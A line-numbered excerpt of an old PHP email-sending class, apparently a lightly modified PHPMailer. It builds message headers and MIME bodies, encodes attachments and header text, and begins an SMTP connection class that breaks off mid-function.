  1865.                         $message .= $buf . $soft_break;
  1866.                     }
  1867.                     $buf = "";
  1868.                 }
  1869.                 while (strlen($word) > 0)
  1870.                 {
  1871.                     $len = $length;
  1872.                     if (substr($word, $len - 1, 1) == "=")
  1873.                         $len--;
  1874.                     elseif (substr($word, $len - 2, 1) == "=")
  1875.                         $len -= 2;
  1876.                     $part = substr($word, 0, $len);
  1877.                     $word = substr($word, $len);
  1878.  
  1879.                     if (strlen($word) > 0)
  1880.                         $message .= $part . sprintf("=%s", $this->LE);
  1881.                     else
  1882.                         $buf = $part;
  1883.                 }
  1884.               }
  1885.               else
  1886.               {
  1887.                 $buf_o = $buf;
  1888.                 $buf .= ($e == 0) ? $word : (" " . $word);
  1889.  
  1890.                 if (strlen($buf) > $length and $buf_o != "")
  1891.                 {
  1892.                     $message .= $buf_o . $soft_break;
  1893.                     $buf = $word;
  1894.                 }
  1895.               }
  1896.           }
  1897.           $message .= $buf . $this->LE;
  1898.         }
  1899.  
  1900.         return $message;
  1901.     }
  1902.    
  1903.     /**
  1904.      * Set the body wrapping.
  1905.      * @access private
  1906.      * @return void
  1907.      */
  1908.     function SetWordWrap() {
  1909.         if($this->WordWrap < 1)
  1910.             return;
  1911.            
  1912.         switch($this->message_type)
  1913.         {
  1914.            case "alt":
  1915.               // fall through
  1916.            case "alt_attachments":
  1917.               $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  1918.               break;
  1919.            default:
  1920.               $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  1921.               break;
  1922.         }
  1923.     }
  1924.  
  1925.     /**
  1926.      * Assembles message header.  
  1927.      * @access private
  1928.      * @return string
  1929.      */
  1930.     function CreateHeader() {
  1931.         $result = "";
  1932.        
  1933.         // Set the boundaries
  1934.         $uniq_id = md5(uniqid(time()));
  1935.         $this->boundary[1] = "b1_" . $uniq_id;
  1936.         $this->boundary[2] = "b2_" . $uniq_id;
  1937.  
  1938.         $result .= $this->HeaderLine("Date", $this->RFCDate());
  1939.         if($this->Sender == "")
  1940.             $result .= $this->HeaderLine("Return-Path", trim($this->From));
  1941.         else
  1942.             $result .= $this->HeaderLine("Return-Path", trim($this->Sender));
  1943.        
  1944.         // To be created automatically by mail()
  1945.         if($this->Mailer != "mail")
  1946.         {
  1947.             if(count($this->to) > 0)
  1948.                 $result .= $this->AddrAppend("To", $this->to);
  1949.             else if (count($this->cc) == 0)
  1950.                 $result .= $this->HeaderLine("To", "undisclosed-recipients:;");
  1951.             if(count($this->cc) > 0)
  1952.                 $result .= $this->AddrAppend("Cc", $this->cc);
  1953.         }
  1954.  
  1955.         $from = array();
  1956.         $from[0][0] = trim($this->From);
  1957.         $from[0][1] = $this->FromName;
  1958.         $result .= $this->AddrAppend("From", $from);
  1959.  
  1960.         // sendmail and mail() extract Bcc from the header before sending
  1961.         if((($this->Mailer == "sendmail") || ($this->Mailer == "mail")) && (count($this->bcc) > 0))
  1962.             $result .= $this->AddrAppend("Bcc", $this->bcc);
  1963.  
  1964.         if(count($this->ReplyTo) > 0)
  1965.             $result .= $this->AddrAppend("Reply-to", $this->ReplyTo);
  1966.  
  1967.         // mail() sets the subject itself
  1968.         if($this->Mailer != "mail")
  1969.             $result .= $this->HeaderLine("Subject", $this->EncodeHeader(trim($this->Subject)));
  1970.  
  1971.         //$result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  1972.         $result .= $this->HeaderLine("X-Priority", $this->Priority);
  1973.         //$result .= $this->HeaderLine("X-Mailer", $this->XMailer);
  1974.         $result .= $this->HeaderLine("List-Unsubscribe", $this->ListUnsubscribe);
  1975.         $result .= $this->HeaderLine("X-idmail", $this->xidmail);
  1976.         $result .= $this->HeaderLine("Return-Path", $this->ReturnPath);
  1977.         if($this->ConfirmReadingTo != "")
  1978.         {
  1979.             $result .= $this->HeaderLine("Disposition-Notification-To",
  1980.                        "<" . trim($this->ConfirmReadingTo) . ">");
  1981.         }
  1982.  
  1983.         // Add custom headers
  1984.         /*for($index = 0; $index < count($this->CustomHeader); $index++)
  1985.         {
  1986.             $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]),
  1987.                        $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  1988.         }*/
  1989.        
  1990.         foreach( $this->CustomHeader as $headerName => $headerValue )
  1991.         {
  1992.             $result .=  $this->HeaderLine(trim($headerName),
  1993.                         $this->EncodeHeader(trim($headerValue)));
  1994.         }
  1995.        
  1996.         $result .= $this->HeaderLine("MIME-Version", "1.0");
  1997.  
  1998.         switch($this->message_type)
  1999.         {
  2000.             case "plain":
  2001.                 $result .= $this->HeaderLine("Content-Transfer-Encoding", $this->Encoding);
  2002.                 $result .= sprintf("Content-Type: %s; charset=\"%s\"",
  2003.                                     $this->ContentType, $this->CharSet);
  2004.                 break;
  2005.             case "attachments":
  2006.                 // fall through
  2007.             case "alt_attachments":
  2008.                 if($this->InlineImageExists())
  2009.                 {
  2010.                     $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s",
  2011.                                     "multipart/related", $this->LE, $this->LE,
  2012.                                     $this->boundary[1], $this->LE);
  2013.                 }
  2014.                 else
  2015.                 {
  2016.                     $result .= $this->HeaderLine("Content-Type", "multipart/mixed;");
  2017.                     $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2018.                 }
  2019.                 break;
  2020.             case "alt":
  2021.                 $result .= $this->HeaderLine("Content-Type", "multipart/alternative;");
  2022.                 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2023.                 break;
  2024.         }
  2025.  
  2026.         if($this->Mailer != "mail")
  2027.             $result .= $this->LE.$this->LE;
  2028.  
  2029.         return $result;
  2030.     }
  2031.  
  2032.     /**
  2033.      * Assembles the message body.  Returns an empty string on failure.
  2034.      * @access private
  2035.      * @return string
  2036.      */
  2037.     function CreateBody() {
  2038.         $result = "";
  2039.  
  2040.         $this->SetWordWrap();
  2041.  
  2042.         switch($this->message_type)
  2043.         {
  2044.             case "alt":
  2045.                 $result .= $this->GetBoundary($this->boundary[1], "",
  2046.  
  2047.                                               "text/plain", "");
  2048.                 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2049.                 $result .= $this->LE.$this->LE;
  2050.                 $result .= $this->GetBoundary($this->boundary[1], "",
  2051.                                               "text/html", "");
  2052.                
  2053.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  2054.                 $result .= $this->LE.$this->LE;
  2055.    
  2056.                 $result .= $this->EndBoundary($this->boundary[1]);
  2057.                 break;
  2058.             case "plain":
  2059.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  2060.                 break;
  2061.             case "attachments":
  2062.                 $result .= $this->GetBoundary($this->boundary[1], "", "", "");
  2063.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  2064.                 $result .= $this->LE;
  2065.      
  2066.                 $result .= $this->AttachAll();
  2067.                 break;
  2068.             case "alt_attachments":
  2069.                 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2070.                 $result .= sprintf("Content-Type: %s;%s" .
  2071.                                    "\tboundary=\"%s\"%s",
  2072.                                    "multipart/alternative", $this->LE,
  2073.                                    $this->boundary[2], $this->LE.$this->LE);
  2074.    
  2075.                 // Create text body
  2076.                 $result .= $this->GetBoundary($this->boundary[2], "",
  2077.                                               "text/plain", "") . $this->LE;
  2078.  
  2079.                 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2080.                 $result .= $this->LE.$this->LE;
  2081.    
  2082.                 // Create the HTML body
  2083.                 $result .= $this->GetBoundary($this->boundary[2], "",
  2084.                                               "text/html", "") . $this->LE;
  2085.    
  2086.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  2087.                 $result .= $this->LE.$this->LE;
  2088.  
  2089.                 $result .= $this->EndBoundary($this->boundary[2]);
  2090.                
  2091.                 $result .= $this->AttachAll();
  2092.                 break;
  2093.         }
  2094.         if($this->IsError())
  2095.             $result = "";
  2096.  
  2097.         return $result;
  2098.     }
  2099.  
  2100.     /**
  2101.      * Returns the start of a message boundary.
  2102.      * @access private
  2103.      */
  2104.     function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2105.         $result = "";
  2106.         if($charSet == "") { $charSet = $this->CharSet; }
  2107.         if($contentType == "") { $contentType = $this->ContentType; }
  2108.         if($encoding == "") { $encoding = $this->Encoding; }
  2109.  
  2110.         $result .= $this->TextLine("--" . $boundary);
  2111.         $result .= sprintf("Content-Type: %s; charset = \"%s\"",
  2112.                             $contentType, $charSet);
  2113.         $result .= $this->LE;
  2114.         $result .= $this->HeaderLine("Content-Transfer-Encoding", $encoding);
  2115.         $result .= $this->LE;
  2116.        
  2117.         return $result;
  2118.     }
  2119.    
  2120.     /**
  2121.      * Returns the end of a message boundary.
  2122.      * @access private
  2123.      */
  2124.     function EndBoundary($boundary) {
  2125.         return $this->LE . "--" . $boundary . "--" . $this->LE;
  2126.     }
  2127.    
  2128.     /**
  2129.      * Sets the message type.
  2130.      * @access private
  2131.      * @return void
  2132.      */
  2133.     function SetMessageType() {
  2134.         if(count($this->attachment) < 1 && strlen($this->AltBody) < 1)
  2135.             $this->message_type = "plain";
  2136.         else
  2137.         {
  2138.             if(count($this->attachment) > 0)
  2139.                 $this->message_type = "attachments";
  2140.             if(strlen($this->AltBody) > 0 && count($this->attachment) < 1)
  2141.                 $this->message_type = "alt";
  2142.             if(strlen($this->AltBody) > 0 && count($this->attachment) > 0)
  2143.                 $this->message_type = "alt_attachments";
  2144.         }
  2145.     }
  2146.  
  2147.     /**
  2148.      * Returns a formatted header line.
  2149.      * @access private
  2150.      * @return string
  2151.      */
  2152.     function HeaderLine($name, $value) {
  2153.         return $name . ": " . $value . $this->LE;
  2154.     }
  2155.  
  2156.     /**
  2157.      * Returns a formatted mail line.
  2158.      * @access private
  2159.      * @return string
  2160.      */
  2161.     function TextLine($value) {
  2162.         return $value . $this->LE;
  2163.     }
  2164.  
  2165.     /////////////////////////////////////////////////
  2166.     // ATTACHMENT METHODS
  2167.     /////////////////////////////////////////////////
  2168.  
  2169.     /**
  2170.      * Adds an attachment from a path on the filesystem.
  2171.      * Returns false if the file could not be found
  2172.      * or accessed.
  2173.      * @param string $path Path to the attachment.
  2174.      * @param string $name Overrides the attachment name.
  2175.      * @param string $encoding File encoding (see $Encoding).
  2176.      * @param string $type File extension (MIME) type.
  2177.      * @return bool
  2178.      */
  2179.     function AddAttachment($path, $name = "", $encoding = "base64",
  2180.                            $type = "application/octet-stream") {
  2181.         if(!@is_file($path))
  2182.         {
  2183.             $this->SetError($this->Lang("file_access") . $path);
  2184.             return false;
  2185.         }
  2186.  
  2187.         $filename = basename($path);
  2188.         if($name == "")
  2189.             $name = $filename;
  2190.  
  2191.         $cur = count($this->attachment);
  2192.         $this->attachment[$cur][0] = $path;
  2193.         $this->attachment[$cur][1] = $filename;
  2194.         $this->attachment[$cur][2] = $name;
  2195.         $this->attachment[$cur][3] = $encoding;
  2196.         $this->attachment[$cur][4] = $type;
  2197.         $this->attachment[$cur][5] = false; // isStringAttachment
  2198.         $this->attachment[$cur][6] = "attachment";
  2199.         $this->attachment[$cur][7] = 0;
  2200.  
  2201.         return true;
  2202.     }
  2203.  
  2204.     /**
  2205.      * Attaches all fs, string, and binary attachments to the message.
  2206.      * Returns an empty string on failure.
  2207.      * @access private
  2208.      * @return string
  2209.      */
  2210.     function AttachAll() {
  2211.         // Return text of body
  2212.         $mime = array();
  2213.  
  2214.         // Add all attachments
  2215.         for($i = 0; $i < count($this->attachment); $i++)
  2216.         {
  2217.             // Check for string attachment
  2218.             $bString = $this->attachment[$i][5];
  2219.             if ($bString)
  2220.                 $string = $this->attachment[$i][0];
  2221.             else
  2222.                 $path = $this->attachment[$i][0];
  2223.  
  2224.             $filename    = $this->attachment[$i][1];
  2225.             $name        = $this->attachment[$i][2];
  2226.             $encoding    = $this->attachment[$i][3];
  2227.             $type        = $this->attachment[$i][4];
  2228.             $disposition = $this->attachment[$i][6];
  2229.             $cid         = $this->attachment[$i][7];
  2230.            
  2231.             $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2232.             $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2233.             $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2234.  
  2235.             if($disposition == "inline")
  2236.                 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2237.  
  2238.             $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s",
  2239.                               $disposition, $name, $this->LE.$this->LE);
  2240.  
  2241.             // Encode as string attachment
  2242.             if($bString)
  2243.             {
  2244.                 $mime[] = $this->EncodeString($string, $encoding);
  2245.                 if($this->IsError()) { return ""; }
  2246.                 $mime[] = $this->LE.$this->LE;
  2247.             }
  2248.             else
  2249.             {
  2250.                 $mime[] = $this->EncodeFile($path, $encoding);                
  2251.                 if($this->IsError()) { return ""; }
  2252.                 $mime[] = $this->LE.$this->LE;
  2253.             }
  2254.         }
  2255.  
  2256.         $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2257.  
  2258.         return join("", $mime);
  2259.     }
  2260.    
  2261.     /**
  2262.      * Encodes attachment in requested format.  Returns an
  2263.      * empty string on failure.
  2264.      * @access private
  2265.      * @return string
  2266.      */
  2267.     function EncodeFile ($path, $encoding = "base64") {
  2268.         if(!@$fd = fopen($path, "rb"))
  2269.         {
  2270.             $this->SetError($this->Lang("file_open") . $path);
  2271.             return "";
  2272.         }
  2273.         $magic_quotes = get_magic_quotes_runtime();
  2274.         set_magic_quotes_runtime(0);
  2275.         $file_buffer = fread($fd, filesize($path));
  2276.         $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2277.         fclose($fd);
  2278.         set_magic_quotes_runtime($magic_quotes);
  2279.  
  2280.         return $file_buffer;
  2281.     }
  2282.  
  2283.     /**
  2284.      * Encodes string to requested format. Returns an
  2285.      * empty string on failure.
  2286.      * @access private
  2287.      * @return string
  2288.      */
  2289.     function EncodeString ($str, $encoding = "base64") {
  2290.         $encoded = "";
  2291.         switch(strtolower($encoding)) {
  2292.           case "base64":
  2293.               // chunk_split is found in PHP >= 3.0.6
  2294.               $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2295.               break;
  2296.           case "7bit":
  2297.  
  2298.  
  2299.           case "8bit":
  2300.               $encoded = $this->FixEOL($str);
  2301.               if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2302.                 $encoded .= $this->LE;
  2303.               break;
  2304.           case "binary":
  2305.               $encoded = $str;
  2306.               break;
  2307.           case "quoted-printable":
  2308.               $encoded = $this->EncodeQP($str);
  2309.               break;
  2310.           default:
  2311.               $this->SetError($this->Lang("encoding") . $encoding);
  2312.               break;
  2313.         }
  2314.         return $encoded;
  2315.     }
  2316.  
  2317.     /**
  2318.      * Encode a header string to best of Q, B, quoted or none.  
  2319.      * @access private
  2320.      * @return string
  2321.      */
  2322.     function EncodeHeader ($str, $position = 'text') {
  2323.       $x = 0;
  2324.      
  2325.       switch (strtolower($position)) {
  2326.         case 'phrase':
  2327.           if (!preg_match('/[\200-\377]/', $str)) {
  2328.             // Can't use addslashes as we don't know what value has magic_quotes_sybase.
  2329.             $encoded = addcslashes($str, "\0..\37\177\\\"");
  2330.  
  2331.             if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str))
  2332.               return ($encoded);
  2333.             else
  2334.               return ("\"$encoded\"");
  2335.           }
  2336.           $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2337.           break;
  2338.         case 'comment':
  2339.           $x = preg_match_all('/[()"]/', $str, $matches);
  2340.           // Fall-through
  2341.         case 'text':
  2342.         default:
  2343.           $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2344.           break;
  2345.       }
  2346.  
  2347.       if ($x == 0)
  2348.         return ($str);
  2349.  
  2350.       $maxlen = 75 - 7 - strlen($this->CharSet);
  2351.       // Try to select the encoding which should produce the shortest output
  2352.       if (strlen($str)/3 < $x) {
  2353.         $encoding = 'B';
  2354.         $encoded = base64_encode($str);
  2355.         $maxlen -= $maxlen % 4;
  2356.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2357.       } else {
  2358.         $encoding = 'Q';
  2359.         $encoded = $this->EncodeQ($str, $position);
  2360.         $encoded = $this->WrapText($encoded, $maxlen, true);
  2361.         $encoded = str_replace("=".$this->LE, "\n", trim($encoded));
  2362.       }
  2363.  
  2364.       $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2365.       $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2366.      
  2367.       return $encoded;
  2368.     }
  2369.    
  2370.     /**
  2371.      * Encode string to quoted-printable.  
  2372.      * @access private
  2373.      * @return string
  2374.      */
  2375.     function EncodeQP ($str) {
  2376.         $encoded = $this->FixEOL($str);
  2377.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2378.             $encoded .= $this->LE;
  2379.  
  2380.         // Replace every high ascii, control and = characters
  2381.         $encoded = preg_replace('/([\000-\010\013\014\016-\037\075\177-\377])/e',
  2382.                   "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2383.         // Replace every spaces and tabs when it's the last character on a line
  2384.         $encoded = preg_replace("/([\011\040])".$this->LE."/e",
  2385.                   "'='.sprintf('%02X', ord('\\1')).'".$this->LE."'", $encoded);
  2386.  
  2387.         // Maximum line length of 76 characters before CRLF (74 + space + '=')
  2388.         $encoded = $this->WrapText($encoded, 74, true);
  2389.  
  2390.         return $encoded;
  2391.     }
  2392.  
  2393.     /**
  2394.      * Encode string to q encoding.  
  2395.      * @access private
  2396.      * @return string
  2397.      */
  2398.     function EncodeQ ($str, $position = "text") {
  2399.         // There should not be any EOL in the string
  2400.         $encoded = preg_replace("[\r\n]", "", $str);
  2401.  
  2402.         switch (strtolower($position)) {
  2403.           case "phrase":
  2404.             $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2405.             break;
  2406.           case "comment":
  2407.             $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2408.           case "text":
  2409.           default:
  2410.             // Replace every high ascii, control =, ? and _ characters
  2411.             $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2412.                   "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2413.             break;
  2414.         }
  2415.        
  2416.         // Replace every spaces to _ (more readable than =20)
  2417.         $encoded = str_replace(" ", "_", $encoded);
  2418.  
  2419.         return $encoded;
  2420.     }
  2421.  
  2422.     /**
  2423.      * Adds a string or binary attachment (non-filesystem) to the list.
  2424.      * This method can be used to attach ascii or binary data,
  2425.      * such as a BLOB record from a database.
  2426.      * @param string $string String attachment data.
  2427.      * @param string $filename Name of the attachment.
  2428.      * @param string $encoding File encoding (see $Encoding).
  2429.      * @param string $type File extension (MIME) type.
  2430.      * @return void
  2431.      */
  2432.     function AddStringAttachment($string, $filename, $encoding = "base64",
  2433.                                  $type = "application/octet-stream") {
  2434.         // Append to $attachment array
  2435.         $cur = count($this->attachment);
  2436.         $this->attachment[$cur][0] = $string;
  2437.         $this->attachment[$cur][1] = $filename;
  2438.         $this->attachment[$cur][2] = $filename;
  2439.         $this->attachment[$cur][3] = $encoding;
  2440.         $this->attachment[$cur][4] = $type;
  2441.         $this->attachment[$cur][5] = true; // isString
  2442.         $this->attachment[$cur][6] = "attachment";
  2443.         $this->attachment[$cur][7] = 0;
  2444.     }
  2445.    
  2446.     /**
  2447.      * Adds an embedded attachment.  This can include images, sounds, and
  2448.      * just about any other document.  Make sure to set the $type to an
  2449.      * image type.  For JPEG images use "image/jpeg" and for GIF images
  2450.      * use "image/gif".
  2451.      * @param string $path Path to the attachment.
  2452.      * @param string $cid Content ID of the attachment.  Use this to identify
  2453.      *        the Id for accessing the image in an HTML form.
  2454.      * @param string $name Overrides the attachment name.
  2455.      * @param string $encoding File encoding (see $Encoding).
  2456.      * @param string $type File extension (MIME) type.  
  2457.      * @return bool
  2458.      */
  2459.     function AddEmbeddedImage($path, $cid, $name = "", $encoding = "base64",
  2460.                               $type = "application/octet-stream") {
  2461.    
  2462.         if(!@is_file($path))
  2463.         {
  2464.             $this->SetError($this->Lang("file_access") . $path);
  2465.             return false;
  2466.         }
  2467.  
  2468.         $filename = basename($path);
  2469.         if($name == "")
  2470.             $name = $filename;
  2471.  
  2472.         // Append to $attachment array
  2473.         $cur = count($this->attachment);
  2474.         $this->attachment[$cur][0] = $path;
  2475.         $this->attachment[$cur][1] = $filename;
  2476.         $this->attachment[$cur][2] = $name;
  2477.         $this->attachment[$cur][3] = $encoding;
  2478.         $this->attachment[$cur][4] = $type;
  2479.         $this->attachment[$cur][5] = false; // isStringAttachment
  2480.         $this->attachment[$cur][6] = "inline";
  2481.         $this->attachment[$cur][7] = $cid;
  2482.    
  2483.         return true;
  2484.     }
  2485.    
  2486.     /**
  2487.      * Returns true if an inline attachment is present.
  2488.      * @access private
  2489.      * @return bool
  2490.      */
  2491.     function InlineImageExists() {
  2492.         $result = false;
  2493.         for($i = 0; $i < count($this->attachment); $i++)
  2494.         {
  2495.             if($this->attachment[$i][6] == "inline")
  2496.             {
  2497.                 $result = true;
  2498.                 break;
  2499.             }
  2500.         }
  2501.        
  2502.         return $result;
  2503.     }
  2504.  
  2505.     /////////////////////////////////////////////////
  2506.     // MESSAGE RESET METHODS
  2507.     /////////////////////////////////////////////////
  2508.  
  2509.     /**
  2510.      * Clears all recipients assigned in the TO array.  Returns void.
  2511.      * @return void
  2512.      */
  2513.     function ClearAddresses() {
  2514.         $this->to = array();
  2515.     }
  2516.  
  2517.     /**
  2518.      * Clears all recipients assigned in the CC array.  Returns void.
  2519.      * @return void
  2520.      */
  2521.     function ClearCCs() {
  2522.         $this->cc = array();
  2523.     }
  2524.  
  2525.     /**
  2526.      * Clears all recipients assigned in the BCC array.  Returns void.
  2527.      * @return void
  2528.      */
  2529.     function ClearBCCs() {
  2530.         $this->bcc = array();
  2531.     }
  2532.  
  2533.     /**
  2534.      * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2535.      * @return void
  2536.      */
  2537.     function ClearReplyTos() {
  2538.         $this->ReplyTo = array();
  2539.     }
  2540.  
  2541.     /**
  2542.      * Clears all recipients assigned in the TO, CC and BCC
  2543.      * array.  Returns void.
  2544.      * @return void
  2545.      */
  2546.     function ClearAllRecipients() {
  2547.         $this->to = array();
  2548.         $this->cc = array();
  2549.         $this->bcc = array();
  2550.     }
  2551.  
  2552.     /**
  2553.      * Clears all previously set filesystem, string, and binary
  2554.      * attachments.  Returns void.
  2555.      * @return void
  2556.      */
  2557.     function ClearAttachments() {
  2558.         $this->attachment = array();
  2559.     }
  2560.  
  2561.     /**
  2562.      * Clears all custom headers.  Returns void.
  2563.      * @return void
  2564.      */
  2565.     function ClearCustomHeaders() {
  2566.         $this->CustomHeader = array();
  2567.     }
  2568.  
  2569.  
  2570.     /////////////////////////////////////////////////
  2571.     // MISCELLANEOUS METHODS
  2572.     /////////////////////////////////////////////////
  2573.  
  2574.     /**
  2575.      * Adds the error message to the error container.
  2576.      * Returns void.
  2577.      * @access private
  2578.      * @return void
  2579.      */
  2580.     function SetError($msg) {
  2581.         $this->error_count++;
  2582.         $this->ErrorInfo = $msg;
  2583.     }
  2584.  
  2585.     /**
  2586.      * Returns the proper RFC 822 formatted date.
  2587.      * @access private
  2588.      * @return string
  2589.      */
  2590.     function RFCDate() {
  2591.         $tz = date("Z");
  2592.         $tzs = ($tz < 0) ? "-" : "+";
  2593.         $tz = abs($tz);
  2594.         $tz = ($tz/3600)*100 + ($tz%3600)/60;
  2595.         $result = sprintf("%s %s%04d", date("D, j M Y H:i:s"), $tzs, $tz);
  2596.  
  2597.         return $result;
  2598.     }
  2599.    
  2600.     /**
  2601.      * Returns the appropriate server variable.  Should work with both
  2602.      * PHP 4.1.0+ as well as older versions.  Returns an empty string
  2603.      * if nothing is found.
  2604.      * @access private
  2605.      * @return mixed
  2606.      */
  2607.     function ServerVar($varName) {
  2608.         global $HTTP_SERVER_VARS;
  2609.         global $HTTP_ENV_VARS;
  2610.  
  2611.         if(!isset($_SERVER))
  2612.         {
  2613.             $_SERVER = $HTTP_SERVER_VARS;
  2614.             if(!isset($_SERVER["REMOTE_ADDR"]))
  2615.                 $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2616.         }
  2617.        
  2618.         if(isset($_SERVER[$varName]))
  2619.             return $_SERVER[$varName];
  2620.         else
  2621.             return "";
  2622.     }
  2623.  
  2624.     /**
  2625.      * Returns the server hostname or 'localhost.localdomain' if unknown.
  2626.      * @access private
  2627.      * @return string
  2628.      */
  2629.     function ServerHostname() {
  2630.         if ($this->Hostname != "")
  2631.             $result = $this->Hostname;
  2632.         elseif ($this->ServerVar('SERVER_NAME') != "")
  2633.             $result = $this->ServerVar('SERVER_NAME');
  2634.         else
  2635.             $result = "localhost.localdomain";
  2636.  
  2637.         return $result;
  2638.     }
  2639.  
  2640.     /**
  2641.      * Returns a message in the appropriate language.
  2642.      * @access private
  2643.      * @return string
  2644.      */
  2645.     function Lang($key) {
  2646.         if(count($this->language) < 1)
  2647.             $this->SetLanguage("en"); // set the default language
  2648.    
  2649.         if(isset($this->language[$key]))
  2650.             return $this->language[$key];
  2651.         else
  2652.             return "Language string failed to load: " . $key;
  2653.     }
  2654.    
  2655.     /**
  2656.      * Returns true if an error occurred.
  2657.      * @return bool
  2658.      */
  2659.     function IsError() {
  2660.  
  2661.         return ($this->error_count > 0);
  2662.     }
  2663.  
  2664.     /**
  2665.      * Changes every end of line from CR or LF to CRLF.  
  2666.      * @access private
  2667.      * @return string
  2668.      */
  2669.     function FixEOL($str) {
  2670.         $str = str_replace("\r\n", "\n", $str);
  2671.         $str = str_replace("\r", "\n", $str);
  2672.         $str = str_replace("\n", $this->LE, $str);
  2673.         return $str;
  2674.     }
  2675.  
  2676.     /**
  2677.      * Adds a custom header.
  2678.      * @return void
  2679.      */
  2680.     function AddCustomHeader($custom_header)
  2681.     {
  2682.         //$this->CustomHeader[] = explode(":", $custom_header, 2);
  2683.         $custom_header = explode(":", $custom_header, 2);
  2684.         $this->CustomHeader[ trim($custom_header[0]) ] = trim($custom_header[1]);
  2685.     }
  2686. }
  2687.  
  2688. /**
  2689.  * SMTP is rfc 821 compliant and implements all the rfc 821 SMTP
  2690.  * commands except TURN which will always return a not implemented
  2691.  * error. SMTP also provides some utility methods for sending mail
  2692.  * to an SMTP server.
  2693.  * @package PHPMailer
  2694.  * @author Chris Ryan
  2695.  */
  2696. class SMTP
  2697. {
  2698.     /**
  2699.      *  SMTP server port
  2700.      *  @var int
  2701.      */
  2702.     var $SMTP_PORT = 25;
  2703.    
  2704.     /**
  2705.      *  SMTP reply line ending
  2706.      *  @var string
  2707.      */
  2708.     var $CRLF = "\r\n";
  2709.    
  2710.     /**
  2711.      *  Sets whether debugging is turned on
  2712.      *  @var bool
  2713.      */
  2714.     var $do_debug = 0;       # the level of debug to perform
  2715.  
  2716.     /**#@+
  2717.      * @access private
  2718.      */
  2719.     var $smtp_conn;      # the socket to the server
  2720.    var $error;          # error if any on the last call
  2721.    var $helo_rply;      # the reply the server sent to us for HELO
  2722.    var $smtp_buffer;    # smtp buffer
  2723.    
  2724.     var $smtpError     = null;
  2725.     var $smtpSendError = 0;
  2726.     /**#@-*/
  2727.  
  2728.     /**
  2729.      * Initialize the class so that the data is in a known state.
  2730.      * @access public
  2731.      * @return void
  2732.      */
  2733.     function SMTP() {
  2734.         $this->smtp_conn = 0;
  2735.         $this->error = null;
  2736.         $this->helo_rply = null;
  2737.  
  2738.         $this->do_debug = 1;
  2739.     }
  2740.  
  2741.     /*************************************************************
  2742.      *                    CONNECTION FUNCTIONS                  *
  2743.      ***********************************************************/
  2744.  
  2745.     /**
  2746.      * Connect to the server specified on the port specified.
  2747.      * If the port is not specified use the default SMTP_PORT.
  2748.      * If tval is specified then a connection will try and be
  2749.      * established with the server for that number of seconds.
  2750.      * If tval is not specified the default is 30 seconds to
  2751.      * try on the connection.
  2752.      *
  2753.      * SMTP CODE SUCCESS: 220
  2754.      * SMTP CODE FAILURE: 421
  2755.      * @access public
  2756.      * @return bool
  2757.      */
  2758.     function Connect($host,$port=0,$tval=30) {
  2759.         # set the error val to null so there is no confusion
  2760.        $this->error = null;
  2761.  
  2762.         # make sure we are __not__ connected
  2763.        if($this->connected()) {
  2764.             # ok we are connected! what should we do?
  2765.            # for now we will just give an error saying we
  2766.            # are already connected
  2767.            $this->error =
  2768.                 array("error" => "Already connected to a server");
  2769.             return false;
  2770.         }
  2771.  
  2772.         if(empty($port)) {
  2773.             $port = $this->SMTP_PORT;
  2774.         }
  2775.  
  2776.         #connect to the smtp server
  2777.        $this->smtp_conn = fsockopen($host,    # the host of the server
  2778.                                     $port,    # the port to use
  2779.                                     $errno,   # error number if any
  2780.                                     $errstr,  # error message if any
  2781.                                     $tval);   # give up after ? secs
  2782.        # verify we connected properly
  2783.        if(empty($this->smtp_conn)) {
  2784.             $this->error = array("error" => "Failed to connect to server",
  2785.                                  "errno" => $errno,
  2786.                                  "errstr" => $errstr);
  2787.             if($this->do_debug >= 1) {
  2788.                 echo "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF;
  2789.             }
  2790.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF);
  2791.             return false;
  2792.         }
